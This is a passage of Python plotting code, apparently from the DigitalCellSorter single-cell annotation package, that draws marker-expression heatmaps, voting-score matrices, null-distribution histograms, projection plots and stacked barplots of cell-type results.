pd.DataFrame(data=np.zeros((df_markers_cluster_centroids.shape)), index=df_markers_cluster_centroids.index, columns=df_markers_cluster_centroids.columns)\r\n for cluster in allMarkersList:\r\n if not allMarkersList[cluster] is np.nan:\r\n for gene in allMarkersList[cluster]:\r\n df_all_marker_hits.loc[gene, cluster] = 1\r\n\r\n df_supp_marker_hits = pd.DataFrame(data=np.zeros((df_markers_cluster_centroids.shape)), index=df_markers_cluster_centroids.index, columns=df_markers_cluster_centroids.columns)\r\n for cluster in supportingMarkersList:\r\n if not supportingMarkersList[cluster] is np.nan:\r\n for gene in supportingMarkersList[cluster]:\r\n df_supp_marker_hits.loc[gene, cluster] = 1\r\n\r\n df_neg_supp_marker_hits = pd.DataFrame(data=np.zeros((df_markers_cluster_centroids.shape)), index=df_markers_cluster_centroids.index, columns=df_markers_cluster_centroids.columns)\r\n for cluster in supportingMarkersList:\r\n if not supportingMarkersList[cluster] is np.nan:\r\n for gene in allMarkersList[cluster]:\r\n #for gene in df_markers.columns:\r\n if df_markers.loc[predictedCelltypes[cluster], gene] == -1.:\r\n df_neg_supp_marker_hits.loc[gene, cluster] = 1\r\n\r\n X_marker_hits = df_all_marker_hits.values.T[ORDER,:][:,ORDER2]\r\n X_supp_marker_hits = df_supp_marker_hits.values.T[ORDER,:][:,ORDER2]\r\n X_neg_supp_marker_hits = df_neg_supp_marker_hits.values.T[ORDER,:][:,ORDER2]\r\n\r\n _figsize = np.float_(X_markers_cluster_means_transpose.shape[::-1]) / \\\r\n np.max(X_markers_cluster_means_transpose.shape) * 15.0 + 2.0\r\n\r\n _figsize[1] *= 1.5\r\n\r\n height_ratio = df_markers_cluster_centroids.shape[1] / (1. * df_markers_weighted.shape[0])\r\n\r\n gs = matplotlib.gridspec.GridSpec(2, 2, width_ratios=[20,1], height_ratios=[height_ratio,1], \r\n left=0.13, right=0.99, top=0.99, bottom=0.25, wspace=0.01, hspace=0.04)\r\n\r\n fig = plt.figure(figsize=_figsize)\r\n\r\n if True:\r\n ax = plt.subplot(gs[0])\r\n\r\n cell_counts = df_votingResults['# cells in cluster'].values.copy()[ORDER]\r\n means = (df_means.iloc[ORDER2,ORDER] * cell_counts / cell_counts.sum()).sum(axis=1)\r\n\r\n ax.imshow(means.values[None, :], cmap='Reds', interpolation='None', aspect='auto', \r\n extent=(-0.5, means.shape[0] - 0.5, -0.5, +0.5))\r\n\r\n ax.imshow(X_markers_cluster_means_sorted,cmap='Blues', interpolation='None', aspect='auto',\r\n extent=(-0.5, X_markers_cluster_means_sorted.shape[1] - 0.5, X_markers_cluster_means_sorted.shape[0] - 0.5 + 1.0, +0.5))\r\n\r\n i_list,j_list = np.where(X_marker_hits.T > 0)\r\n color = 'w' #(1., 1., 0.7)\r\n ax.plot(i_list, j_list + 1., 'k*', mec=color, mew=0.5, markersize=4)\r\n\r\n i_list_supp, j_list_supp = np.where(X_supp_marker_hits.T > 0)\r\n i_list_neg_supp, j_list_neg_supp = np.where(X_neg_supp_marker_hits.T > 0)\r\n ax.plot(i_list_supp, j_list_supp + 1., 'k*', mec='lime', mew=0.7, markersize=4) #mec='k', alpha=0.5, markersize=6\r\n ax.plot(i_list_neg_supp, j_list_neg_supp + 1., 'k*', mec='red', mew=0.7, markersize=4) #mec='k', alpha=0.5, markersize=6\r\n\r\n ax.set_xticks([])\r\n ax.set_yticks(range(X_markers_cluster_means_transpose.shape[0] + 1))\r\n\r\n clusterNames = list(votingResults.values())\r\n clusterIndices = list(votingResults.keys())\r\n\r\n ax.set_yticklabels(['Mean'] + [str(clusterNames[i]) + ' (' + str(clusterIndices[i]) + ')' for i in ORDER], rotation=0, fontsize=6 * fontscale)\r\n ax.set_xlim([-0.5,X_markers_cluster_means_transpose.shape[1] - 0.5])\r\n ax.set_ylim([-0.5,X_markers_cluster_means_transpose.shape[0] + 1 - 0.5])\r\n\r\n if True:\r\n ax2 = plt.subplot(gs[1])\r\n fontsize = 5 * fontscale\r\n cells_in_clusters = df_votingResults['# cells in cluster'].values.copy()[ORDER]\r\n numberOfCells = cells_in_clusters.sum()\r\n\r\n with open(os.path.join(self.saveDir, 'ColormapForCellTypes.txt'), 'r') as temp_file:\r\n colormap = {item.strip().split('\\t')[0]:eval(item.strip().split('\\t')[1]) for item in temp_file.readlines()}\r\n celltypes = df_votingResults['Predicted cell type'].str.split(' #', expand=True)[0].values.copy()[ORDER]\r\n\r\n ax2.barh(y=range(len(cells_in_clusters)), width=cells_in_clusters, height=0.8, align='center', color=[colormap[i] for i in celltypes])\r\n for i in range(len(cells_in_clusters)):\r\n ax2.text(np.max(cells_in_clusters), i, cells_in_clusters[i], ha='right',va='top', color='k', weight='bold', fontsize=fontsize)\r\n ax2.text(0.02 * numberOfCells, i, str(round(100 * cells_in_clusters[i] / numberOfCells, 1)) + '%', ha='left',va='bottom', color='b', fontsize=fontsize)\r\n ax2.set_xticklabels(cells_in_clusters, fontsize=fontsize)\r\n ax2.set_yticklabels(cells_in_clusters, alpha=0)\r\n ax2.set_xticklabels(cells_in_clusters, alpha=0)\r\n ax2.set_xticks([])\r\n ax2.set_yticks([])\r\n ax2.set_xlabel('Number of\\ncells in clusters', fontsize=fontsize)\r\n ax2.set_ylim(-1.5, len(cells_in_clusters) - 0.5)\r\n\r\n if True:\r\n ax3 = plt.subplot(gs[2])\r\n\r\n masked = np.ma.array(df_markers_weighted.values, mask=(df_markers_weighted.values == 0.))\r\n\r\n cmap = plt.cm.PiYG\r\n #cmap = matplotlib.colors.LinearSegmentedColormap.from_list('RedGreen', [(1, 0, 0), (0,\r\n #1, 0)], N=100)\r\n cmap.set_bad('white')\r\n\r\n value = 0.5 * np.abs(df_markers_weighted).max().max()\r\n ax3.imshow(masked, cmap=cmap, vmin=-value, vmax=+value, interpolation='None', aspect='auto')\r\n\r\n ax3.set_xticks(range(X_markers_cluster_means_transpose.shape[1]))\r\n ax3.set_yticks(range(df_markers_weighted.shape[0]))\r\n\r\n xtickslabels = np.array(df_markers_cluster_centroids.index[ORDER2])\r\n for i in range(0,len(xtickslabels),2):\r\n xtickslabels[i] += \" ─────────\"\r\n\r\n ax3.set_xticklabels(xtickslabels, rotation=90, fontsize=5 * fontscale)\r\n ax3.set_yticklabels(df_markers_weighted.index.values, rotation=0, fontsize=8 * fontscale)\r\n\r\n ax3.set_xlim([-0.5, df_markers_weighted.shape[1] - 0.5])\r\n ax3.set_ylim([-0.5, df_markers_weighted.shape[0] - 0.5])\r\n\r\n self.saveFigure(fig, self.saveDir, self.dataName + '_marker_expression', extension=extension, dpi=dpi, **kwargs)\r\n\r\n return fig\r\n\r\n @tryExcept\r\n def internalMakeMarkerSubplots(self, df, X_projection, hugo_cd_dict, NoFrameOnFigures = False, HideClusterLabels = False, outlineClusters = True, analyzeBy = 'cluster', saveSubDir = 'marker_subplots', dpi = 300, extension = 'png', **kwargs):\r\n\r\n '''Produce subplots on each marker and its expression on all clusters\r\n\r\n Parameters:\r\n df: pandas.DataFrame \r\n Data with marker genes expression\r\n\r\n X_projection: 2d numpy.array\r\n 2D coordinates for each cell\r\n\r\n hugo_cd_dict: dictionary \r\n With aliases for hugo names of genes\r\n\r\n NoFrameOnFigures: boolean, Default False\r\n Whether to include frame on the figure\r\n\r\n HideClusterLabels: boolean, Default False\r\n Whether to print cluster labels on the figure\r\n\r\n outlineClusters: boolean, Default True\r\n Whether to outline the clusters with circles\r\n\r\n analyzeBy: str, Default 'cluster'\r\n What level of lablels to include.\r\n Other possible option is 'label'\r\n\r\n Returns:\r\n None\r\n \r\n Usage:\r\n Function used internally\r\n\r\n DCS = DigitalCellSorter.DigitalCellSorter()\r\n\r\n DCS.internalMakeMarkerSubplots(df_markers_expr, projection, hugo_cd_dict)\r\n '''\r\n \r\n def MarkerSubplot(counter, marker, df, analyzeBy, X_projection, cellClusterIndexLabel, hugo_cd_dict, dataName, saveDir, NoFrameOnFigures, HideClusterLabels, XLIM, YLIM, directory, circles):\r\n\r\n fig,ax = plt.subplots(figsize=(8,8))\r\n\r\n ax.cla()\r\n suffix = '(' + str(hugo_cd_dict[marker]).replace('\\\"', '').replace('\\'', '').replace('(', '').replace(')', '').replace(' ','') + ')'\r\n ax.plot(np.nan,np.nan,'*',markersize=15,c=cm.seismic(1.0),label=marker + '\\n' + suffix.replace(',','\\n'))\r\n circleIndices = np.where(df.loc[marker].values == 0)[0] # cells that don't have this marker\r\n starIndices = np.where(df.loc[marker].values > 0)[0] # cells that have this marker\r\n starIndices = starIndices[np.argsort(df.loc[marker].values[starIndices])]\r\n args1 = [X_projection[0,circleIndices],\r\n X_projection[1,circleIndices]]\r\n kwargs1 = {'marker':'o',\r\n 'c':'b',\r\n 'alpha':0.1,\r\n 's':6 * 3,\r\n 'linewidth':0,}\r\n args2 = [X_projection[0,starIndices],\r\n X_projection[1,starIndices]]\r\n kwargs2 = {'marker':'*',\r\n 'c':cm.seismic(df.loc[marker].values[starIndices] / np.max(df.loc[marker].values[starIndices])),\r\n 's':30 * 4,\r\n 'linewidth':0.0,}\r\n ax.scatter(*args1,**kwargs1)\r\n ax.scatter(*args2,**kwargs2)\r\n for label in set(cellClusterIndexLabel):\r\n # cells with this label\r\n X_projection2_cluster = X_projection[:,cellClusterIndexLabel == label]\r\n x_mean = np.mean(X_projection2_cluster[0,:])\r\n y_mean = np.mean(X_projection2_cluster[1,:])\r\n\r\n _text_label = label if not HideClusterLabels else ''\r\n\r\n ax.text(x_mean,y_mean,\r\n _text_label.\r\n replace('-','-\\n').replace(' ','\\n').\r\n replace('T\\n','T ').replace('B\\n','B ').\r\n replace('\\n#',' #').replace('/','/\\n').\r\n replace('NK\\n','NK ').replace('Stem\\n','Stem '),\r\n fontsize=10,\r\n ha='center',va='center',#alpha=0.75,\r\n ).set_path_effects([path_effects.Stroke(linewidth=3, foreground='white'),path_effects.Normal()])\r\n\r\n if circles:\r\n radius = np.sqrt(X_projection2_cluster.shape[1]) * 300.0\r\n ax.scatter(x_mean,y_mean,s=radius * 1,facecolors='none',edgecolors='k')\r\n ax.set_xlim(XLIM)\r\n ax.set_ylim(YLIM)\r\n ax.legend(loc='upper right', frameon=False, fontsize=14) #loc='best',numpoints=1,fontsize=12\r\n ax.set_xticks([])\r\n ax.set_yticks([]) \r\n if NoFrameOnFigures:\r\n #fig.patch.set_visible(False)\r\n ax.axis('off')\r\n fig.tight_layout()\r\n if self.saveDir is not None: \r\n self.saveFigure(fig, directory, '%s_%s_%s_%s' % (self.dataName,marker,suffix.replace(',','_').replace('/','_'),analyzeBy), extension=extension, dpi=dpi, **kwargs)\r\n\r\n if self.verbose >= 2:\r\n print(marker, end=\" \", flush=True)\r\n\r\n return\r\n \r\n maxs = np.max(X_projection,axis=1)\r\n mins = np.min(X_projection,axis=1)\r\n maxDiffs = maxs - mins\r\n deltas = maxDiffs * 0.05\r\n XLIM = [mins[0] - deltas[0],maxs[0] + deltas[0]]\r\n YLIM = [mins[1] - deltas[1],maxs[1] + deltas[1]]\r\n\r\n if len(df.index) > 1:\r\n if self.verbose >= 2:\r\n print('\\nSaving marker expression plots:\\n')\r\n else:\r\n if self.verbose >= 2:\r\n print('Saving expression plot of:', end=' ', flush=True)\r\n\r\n if analyzeBy == 'celltype':\r\n try:\r\n index = df.columns.get_level_values('label').str.split(' #', expand=True).get_level_values(0).values\r\n except:\r\n index = df.columns.get_level_values('celltype').values\r\n else:\r\n index = df.columns.get_level_values(analyzeBy).values\r\n\r\n for counter,marker in enumerate(df.index.values):\r\n MarkerSubplot(counter, marker, pd.DataFrame(data=np.reshape(np.array(df.loc[marker]), (1,len(df.loc[marker]))), columns=df.columns, index=[marker]), analyzeBy, X_projection, index, hugo_cd_dict, self.dataName, self.saveDir, NoFrameOnFigures, HideClusterLabels, XLIM, YLIM, os.path.join(self.saveDir, saveSubDir, ''), outlineClusters)\r\n\r\n if self.verbose >= 1:\r\n print()\r\n\r\n return\r\n\r\n @tryExcept\r\n def makeAnnotationResultsMatrixPlot(self, dpi = 300, extension = 'png', **kwargs):\r\n\r\n '''Produce voting results voting matrix plot\r\n\r\n Parameters:\r\n dpi: int, Default 600\r\n Resolution of the figure image\r\n\r\n extension: str, Default 'png'\r\n Format of the figure file\r\n\r\n Returns:\r\n None\r\n \r\n Usage:\r\n DCS = DigitalCellSorter.DigitalCellSorter()\r\n\r\n DCS.makeAnnotationResultsMatrixPlot()\r\n '''\r\n\r\n df_votingResults = pd.read_excel(os.path.join(self.saveDir, self.dataName + '_annotation.xlsx'), sheet_name='z-scores')\r\n\r\n cellTypes = sorted([x for x in df_votingResults.columns.values.tolist() if x not in ['cluster', 'Predicted cell type', '# cells in cluster', 'Winning score', 'Supporting markers', 'Contradicting markers', 'All markers']])\r\n\r\n #df_votingResults['order'] =\r\n #scipy.cluster.hierarchy.dendrogram(scipy.cluster.hierarchy.linkage(df_votingResults[cellTypes].values,\r\n #method='ward', metric='euclidean', optimal_ordering=True),\r\n # no_plot=True,get_leaves=True)['leaves']\r\n\r\n df_votingResults['order'] = np.argsort(np.argsort(df_votingResults['Predicted cell type']))\r\n df_votingResults = df_votingResults.sort_values(by='order', axis=0, ascending=False)\r\n\r\n numberOfCells = np.sum(df_votingResults['# cells in cluster'])\r\n num_of_cell_types = len(cellTypes)\r\n num_of_clusters = np.unique(df_votingResults['cluster']).shape[0]\r\n\r\n indicis_of_clusters = df_votingResults['cluster']\r\n assigned_names_of_clusters = df_votingResults['Predicted cell type']\r\n \r\n label_max = 0.5 * max([len(assigned_names_of_clusters[i]) for i in range(len(assigned_names_of_clusters))])\r\n\r\n _figsize = np.float_((num_of_cell_types,num_of_clusters)) / np.max(num_of_clusters) * 15.0\r\n _figsize[0] += 1.0 + label_max\r\n _figsize[1] += 2.0\r\n\r\n gs = matplotlib.gridspec.GridSpec(1, 2, width_ratios=[3,1])\r\n\r\n fig = plt.figure(figsize=_figsize)\r\n \r\n ax = fig.add_axes([0.15, 0.125, 0.65, 0.85])\r\n axx = fig.add_axes([0.76, 0.125, 0.19, 0.85])\r\n\r\n zscores = df_votingResults[cellTypes].values\r\n ax.imshow(zscores, aspect=1, cmap='Greens', vmin=0, vmax=0.5, interpolation='None')\r\n\r\n for i in range(num_of_clusters):\r\n for j in range(num_of_cell_types):\r\n if np.round(zscores[i,j],1) > 0:\r\n if zscores[i,j] == np.max(zscores[i,:]):\r\n ax.text(j,i,np.round(zscores[i,j],1), color='w', fontsize=125 * 4 / max([num_of_cell_types, num_of_clusters]),ha='center',va='center').set_path_effects([path_effects.Stroke(linewidth=4, foreground='red'),path_effects.Normal()])\r\n else:\r\n ax.text(j,i,np.round(zscores[i,j],1), color='w', fontsize=125 * 3 / max([num_of_cell_types, num_of_clusters]),ha='center',va='center').set_path_effects([path_effects.Stroke(linewidth=2, foreground='black'),path_effects.Normal()])\r\n\r\n ax.set_xticks(range(num_of_cell_types))\r\n ax.set_yticks(range(num_of_clusters))\r\n\r\n ytickslabels = copy.deepcopy(assigned_names_of_clusters)\r\n for i in range(len(ytickslabels)):\r\n ytickslabels[i] = str(assigned_names_of_clusters[i]) + ' (' + str(indicis_of_clusters[i]) + ')'\r\n\r\n xtickslabels = np.array(copy.deepcopy(cellTypes))\r\n #for i in range(len(xtickslabels)):\r\n # if i % 3 == 1: xtickslabels[i] = '\\n' + xtickslabels[i]\r\n # if i % 3 == 2: xtickslabels[i] = '\\n\\n' + xtickslabels[i]\r\n\r\n ax.set_xticklabels(xtickslabels, rotation=30, fontsize=20, ha='right')\r\n ax.set_yticklabels(ytickslabels, fontsize=20, rotation=0) \r\n ax.set_xlim([-0.5,num_of_cell_types - 0.5])\r\n ax.set_ylim([-0.5,num_of_clusters - 0.5])\r\n\r\n cells_in_clusters = df_votingResults['# cells in cluster'].values\r\n\r\n with open(os.path.join(self.saveDir, 'ColormapForCellTypes.txt'), 'r') as temp_file:\r\n colormap = {item.strip().split('\\t')[0]:eval(item.strip().split('\\t')[1]) for item in temp_file.readlines()}\r\n celltypes = df_votingResults['Predicted cell type'].str.split(' #', expand=True)[0].values.copy()\r\n\r\n axx.barh(y=range(len(cells_in_clusters)), width=cells_in_clusters, height=0.8, align='center', color=[colormap[i] for i in celltypes])\r\n for i in range(len(cells_in_clusters)):\r\n axx.text(np.max(cells_in_clusters), i, cells_in_clusters[i], ha='right',va='top', color='k', weight='bold', fontsize = 20)\r\n axx.text(0.02 * numberOfCells, i, str(round(100 * cells_in_clusters[i] / numberOfCells, 1)) + '%', ha='left',va='bottom', color='b', fontsize = 20)\r\n axx.set_xticklabels(cells_in_clusters, fontsize=20)\r\n axx.set_yticklabels(cells_in_clusters, alpha=0)\r\n axx.set_xticklabels(cells_in_clusters, alpha=0)\r\n axx.set_xlabel('Number of\\ncells in clusters', fontsize=20)\r\n axx.set_ylim(-0.5, num_of_clusters - 0.5)\r\n \r\n self.saveFigure(fig, self.saveDir, self.dataName + '_scores_matrix', extension=extension, dpi=dpi, **kwargs)\r\n \r\n return fig\r\n\r\n @tryExcept\r\n def makeHistogramNullDistributionPlot(self, dpi = 600, extension = 'png', **kwargs):\r\n\r\n '''Produce histogram plot of the voting null distributions\r\n\r\n Parameters:\r\n dpi: int, Default 600\r\n Resolution of the figure image\r\n\r\n extension: str, Default 'png'\r\n Format of the figure file\r\n\r\n Returns:\r\n None\r\n \r\n Usage:\r\n DCS = DigitalCellSorter.DigitalCellSorter()\r\n\r\n DCS.makeHistogramNullDistributionPlot()\r\n '''\r\n\r\n try:\r\n df_noise_dict = pd.read_excel(os.path.join(self.saveDir, self.dataName + '_annotation.xlsx'), sheet_name='Null distributions', index_col=0, header=[0,1], skiprows=[2])\r\n except Exception as exception:\r\n if self.verbose >= 2:\r\n print(exception)\r\n print('Error loading distributions from the results file')\r\n\r\n return\r\n\r\n if len(df_noise_dict) == 0:\r\n if self.verbose >= 1:\r\n print('Null distribution is empty in the results file')\r\n\r\n return\r\n\r\n df_votingResultsV = pd.read_excel(os.path.join(self.saveDir, self.dataName + '_annotation.xlsx'), sheet_name='Voting scores', dtype={'cluster':str}).reset_index().set_index('cluster')\r\n df_votingResultsZ = pd.read_excel(os.path.join(self.saveDir, self.dataName + '_annotation.xlsx'), sheet_name='z-scores', dtype={'cluster':str}).reset_index().set_index('cluster')\r\n\r\n predicted_cell_type_cluster = df_votingResultsZ['Predicted cell type'].values\r\n predicted_cell_type = df_votingResultsZ['Predicted cell type'].str.split(' #', expand=True)[0].values\r\n\r\n cellTypes = sorted([x for x in df_votingResultsV.columns.values.tolist() if x not in ['cluster', 'Predicted cell type', '# cells in cluster', 'Winning score', 'Supporting markers', 'All markers']])\r\n\r\n df_votingResultsV = df_votingResultsV[cellTypes]\r\n df_votingResultsZ = df_votingResultsZ[cellTypes]\r\n\r\n cell_types = np.unique(df_noise_dict.columns.get_level_values(0).values)\r\n num_of_cell_types = cell_types.shape[0]\r\n clusters = np.unique(df_noise_dict.columns.get_level_values(1).values).astype(str)\r\n num_of_clusters = clusters.shape[0]\r\n\r\n maxy = np.round(np.nanmax(df_noise_dict.values), 2)\r\n\r\n with open(os.path.join(self.saveDir, 'ColormapForCellTypes.txt'), 'r') as temp_file:\r\n colormap = {item.strip().split('\\t')[0]:eval(item.strip().split('\\t')[1]) for item in temp_file.readlines()}\r\n\r\n origWidth = matplotlib.rcParams['axes.linewidth']\r\n matplotlib.rcParams['axes.linewidth'] = 0.1\r\n\r\n gs = matplotlib.gridspec.GridSpec(num_of_clusters, num_of_cell_types, hspace=0.45, wspace=0.1, bottom=0.04, top=0.96, left=0.05, right=0.99)\r\n \r\n fig = plt.figure(figsize=(num_of_cell_types, num_of_clusters * 0.4))\r\n\r\n for i in range(num_of_cell_types):\r\n\r\n try:\r\n minx, maxx = np.round(df_noise_dict.index.values[np.where(df_noise_dict.xs(key=cell_types[i], level=0, axis=1).values.sum(axis=1) != 0.)[0][[0,-1]]], 3)\r\n #maxx += 0.1\r\n maxx = np.round(maxx, 3)\r\n except Exception as exception:\r\n print(exception)\r\n minx = np.round(df_noise_dict.index.values[0], 3)\r\n maxx = np.round(df_noise_dict.index.values[-1], 3)\r\n\r\n if self.verbose >= 2:\r\n print(cell_types[i], end=':\\t')\r\n\r\n for j in range(num_of_clusters):\r\n\r\n if self.verbose >= 2:\r\n print(j, end=',', flush=True)\r\n\r\n fontsize = 3\r\n\r\n ax = plt.subplot(gs[i + num_of_cell_types * j])\r\n\r\n ax.bar(df_noise_dict.index.values, df_noise_dict[(cell_types[i], clusters[j])].values, \r\n width=df_noise_dict.index.values[2] - df_noise_dict.index.values[1], align='center', color=colormap[cell_types[i]])\r\n\r\n valueV = df_votingResultsV.loc[clusters[j], cell_types[i]]\r\n valueZ = df_votingResultsZ.loc[clusters[j], cell_types[i]]\r\n ax.axvline(x=valueV, ymin=0, ymax=1, color='k', lw=0.2)\r\n color = 'k' if predicted_cell_type[j] != cell_types[i] else 'r'\r\n xloc = 0.02 * minx + minx #valueV\r\n ax.text(xloc, maxy - 0.02 * maxy, r'$V_{%s,%s}=$' % (i,j) + str(np.round(valueV,2)), fontsize=fontsize, va='top', ha='left', color=color, zorder=np.inf)\r\n ax.text(xloc, maxy - 0.2 * maxy, r'$\\Lambda_{%s,%s}=$' % (i,j) + str(np.round(valueZ,2)), fontsize=fontsize, va='top', ha='left', color=color, zorder=np.inf)\r\n\r\n if j == 0:\r\n ax.set_title(cell_types[i], fontdict={'color': 'b', 'size':'6'})\r\n\r\n if i == 0:\r\n ax.text(0. * maxx, maxy + 0.05 * maxy, predicted_cell_type_cluster[j] + ' (Cluster %s)' % clusters[j], rotation=0, \r\n fontsize=fontsize, weight='bold', va='bottom', ha='left', color='k')\r\n \r\n ax.set_ylabel('Probability', fontsize=fontsize)\r\n ax.set_yticklabels([0., maxy], fontsize=fontsize)\r\n else:\r\n ax.set_yticklabels([], fontsize=fontsize)\r\n\r\n if j == num_of_clusters - 1:\r\n #ax.set_xlabel('Voting score', fontsize=fontsize)\r\n ax.set_xticklabels([minx, maxx], fontsize=fontsize)\r\n\r\n if maxx > 0.0 and minx < 0.0:\r\n ax.text(0.0, -0.2 * maxy, '0.0', fontsize=fontsize, va='top', ha='center', color='k')\r\n else:\r\n ax.set_xticklabels([], fontsize=fontsize)\r\n\r\n ax.set_xticks([minx, maxx])\r\n ax.set_yticks([0., maxy])\r\n\r\n ax.set_xlim(minx, maxx)\r\n ax.set_ylim(0., maxy)\r\n\r\n ax.tick_params(direction='in', length=1, width=0.1, colors='k')\r\n\r\n if self.verbose >= 1:\r\n print()\r\n \r\n self.saveFigure(fig, self.saveDir, self.dataName + '_null_distributions', extension=extension, dpi=dpi, **kwargs)\r\n\r\n matplotlib.rcParams['axes.linewidth'] = origWidth\r\n\r\n return fig\r\n\r\n @tryExcept\r\n def makeProjectionPlot(self, Xprojection, cellClusterIndexLabel, suffix = '', colormap = cm.jet, legend = True, labels = True, colorbar = False, fontsize = 10, plotNaNs = True, rightShift = 0.3, dpi = 300, extension = 'png', **kwargs):\r\n\r\n '''Produce projection plot (2D layout) with a specified coloring scheme\r\n\r\n Parameters:\r\n Xprojection: 2D coordinates for each cell\r\n\r\n cellClusterIndexLabel: cluster index for each cell\r\n\r\n suffix: str\r\n Text label to append to the figure name\r\n\r\n colormap: cell coloring sequence, can be a dictionary or cm.colormap, \r\n Default matplotlib.colors.LinearSegmentedColormap.jet\r\n\r\n legend: boolean, Default True\r\n Whether to print legend\r\n\r\n labels: boolean, Default True\r\n Whether to print labels\r\n\r\n colorbar: boolean, Default False\r\n Whether to show colorbar\r\n Use with non-numerical values will raise an error\r\n\r\n fontsize: int, Default 10\r\n Labels and legend font size\r\n\r\n plotNaNs: boolean, Default True\r\n Whether to plot NaN labels (in grey)\r\n \r\n rightShift: float, Default 0.3\r\n Fraction of space to leave on the right-hand side of the plot.\r\n This parameter is useful for adjusting legend overlap with data points.\r\n\r\n dpi: int, Default 600\r\n Resolution of the figure image\r\n\r\n extension: str, Default 'png'\r\n Format of the figure file\r\n\r\n Returns:\r\n None\r\n \r\n Usage:\r\n DCS = DigitalCellSorter.DigitalCellSorter()\r\n\r\n DCS.makeProjectionPlot(projection, cellClusterIndexLabel, suffix)\r\n '''\r\n\r\n def add_colorbar(fig, labels, cmap = matplotlib.colors.LinearSegmentedColormap.from_list('GR', [(0, 1, 0), (1, 0, 0)], N=100), fontsize = 10):\r\n \r\n mapp = cm.ScalarMappable(norm=matplotlib.colors.Normalize(vmin=np.min(labels), vmax=np.max(labels)), cmap=cmap)\r\n mapp.set_array(labels)\r\n sp = np.linspace(np.max(labels), np.min(labels), num=6, endpoint=True)\r\n\r\n axisColor = fig.add_axes([0.9,0.5,0.01,0.4])\r\n fig.colorbar(mapp, cax=axisColor, ticks=sp)\r\n\r\n axisColor.tick_params(labelsize=fontsize)\r\n axisColor.set_yticklabels(np.round(sp,2))\r\n \r\n return None\r\n\r\n fig = plt.figure(figsize=(8,8))\r\n ax = fig.add_axes([0.05,0.05,0.9,0.9])\r\n\r\n maxs, mins = np.max(Xprojection,axis=1), np.min(Xprojection,axis=1)\r\n\r\n missing = np.where(cellClusterIndexLabel != cellClusterIndexLabel)[0]\r\n if len(missing) > 0:\r\n ax.plot(Xprojection[0, missing], Xprojection[1, missing], 'o', color='grey', mew=0.5, alpha=0.2, markeredgecolor='k', label='NaN')\r\n\r\n nonMissing = np.where(cellClusterIndexLabel == cellClusterIndexLabel)[0]\r\n cellClusterIndexLabel = np.array(cellClusterIndexLabel)[nonMissing]\r\n Xprojection = Xprojection[:, nonMissing]\r\n\r\n possible_cluster_labels = np.sort(np.unique(cellClusterIndexLabel))\r\n\r\n if labels:\r\n if self.verbose >= 3:\r\n print(possible_cluster_labels)\r\n\r\n texts = []\r\n\r\n for ilabel, label in enumerate(possible_cluster_labels):\r\n\r\n if type(colormap) is matplotlib.colors.LinearSegmentedColormap:\r\n color = colormap(ilabel / len(possible_cluster_labels))\r\n elif type(colormap) is str:\r\n color = plt.get_cmap(colormap)(ilabel / len(possible_cluster_labels))\r\n else:\r\n color = colormap[label.split(' #')[0]]\r\n\r\n XprojectionC = Xprojection[:,cellClusterIndexLabel == label]\r\n\r\n ax.plot(XprojectionC[0,:], XprojectionC[1,:], 'o', color=color, mew=0.5, alpha=0.3, markeredgecolor='k', label=label)\r\n\r\n if labels:\r\n text = ax.text(np.median(XprojectionC[0,:]), np.median(XprojectionC[1,:]), \r\n label, fontsize=fontsize, ha='center',va='center')\r\n text.set_path_effects([path_effects.Stroke(linewidth=3, foreground='white'), path_effects.Normal()])\r\n texts.append(text)\r\n\r\n adjust_text(texts, # arrowprops=dict(arrowstyle='-', color='k', lw=0.3, alpha=0.75),\r\n expand_text=(0.9, 0.9), expand_points=(0.91, 0.9),\r\n force_text=(0.01, 0.01), force_points=(0.01, 0.01))\r\n\r\n ax.set_xticks([])\r\n ax.set_yticks([])\r\n \r\n ax.set_xlim([mins[0] - (maxs[0] - mins[0]) * 0.05, (1 + rightShift) * (maxs[0] + (maxs[0] - mins[0]) * 0.05)])\r\n ax.set_ylim([mins[1] - (maxs[1] - mins[1]) * 0.05, maxs[1] + (maxs[1] - mins[1]) * 0.05])\r\n\r\n if legend:\r\n plt.legend(loc='lower right', frameon=False, fontsize=fontsize)\r\n\r\n #fig.patch.set_visible(False)\r\n ax.axis('off')\r\n\r\n if colorbar:\r\n add_colorbar(fig, possible_cluster_labels, cmap=colormap, fontsize=fontsize)\r\n\r\n self.saveFigure(fig, self.saveDir, '%s_clusters_%s' % (self.dataName, suffix), extension=extension, dpi=dpi, **kwargs)\r\n\r\n return fig\r\n\r\n @tryExcept\r\n def makeStackedBarplot(self, clusterName = None, legendStyle = False, includeLowQC = True, fontsize = 12, dpi = 300, extension = 'png', **kwargs):\r\n \r\n '''Produce stacked barplot with cell fractions\r\n\r\n Parameters:\r\n clusterName: str, Deafult None\r\n Label to include at the bar bottom.\r\n If None the self.dataName value will be used\r\n\r\n legendStyle: boolean, Default False\r\n Use one out of two styles of this figure\r\n\r\n includeLowQC: boolean, Default True\r\n Wether to include low quality cells\r\n\r\n dpi: int, Default 600\r\n Resolution of the figure image\r\n\r\n extension: str, Default 'png'\r\n Format of the figure file\r\n\r\n Returns:\r\n None\r\n \r\n Usage:\r\n DCS = DigitalCellSorter.DigitalCellSorter()\r\n\r\n DCS.makeStackedBarplot(clusterName)\r\n '''\r\n\r\n def get_stacked_data_and_colors(saveDir):\r\n with open(os.path.join(saveDir, 'ColormapForCellTypes.txt'), 'r') as temp_file:\r\n colors = temp_file.readlines()\r\n colors = np.vstack([(color.strip('\\n').split('\\t')) for color in colors])\r\n colors = pd.DataFrame(colors.T[1], index=colors.T[0]).apply(lambda x: tuple(np.float_(x[0][1:][:-1].split(','))), axis=1)\r\n\r\n df = pd.read_excel(os.path.join(self.saveDir, self.dataName + '_annotation.xlsx'), sheet_name='z-scores')\r\n index = df['Predicted cell type']\r\n\r\n if not clusterName is None:\r\n barName = self.dataName # + ': ' + clusterName\r\n else:\r\n barName = self.dataName\r\n\r\n index = [index[i][:len(index[i]) if index[i].find('#') - 1 == -2 else index[i].find('#') - 1].strip('*').strip('#').strip(' ') for i in range(len(index))]\r\n df_BM_temp = pd.DataFrame(data=df['# cells in cluster'].values, index=index, columns=[barName])\r\n df_BM_temp = df_BM_temp.groupby(level=0, axis=0, sort=False).sum()\r\n \r\n df_main = pd.DataFrame(data=np.zeros((len(colors),1)), index=colors.index, columns=[barName])\r\n\r\n for i, item in enumerate(df_BM_temp.index):\r\n df_main.loc[item,barName] += df_BM_temp.iloc[i][barName] if df_BM_temp.index[i] == item else 0\r\n\r\n s = 'sums'\r\n df_main[s] = np.array(np.sum(df_main, axis=1))\r\n df_main.loc[self.nameForUnknown, s] = 0\r\n\r\n if 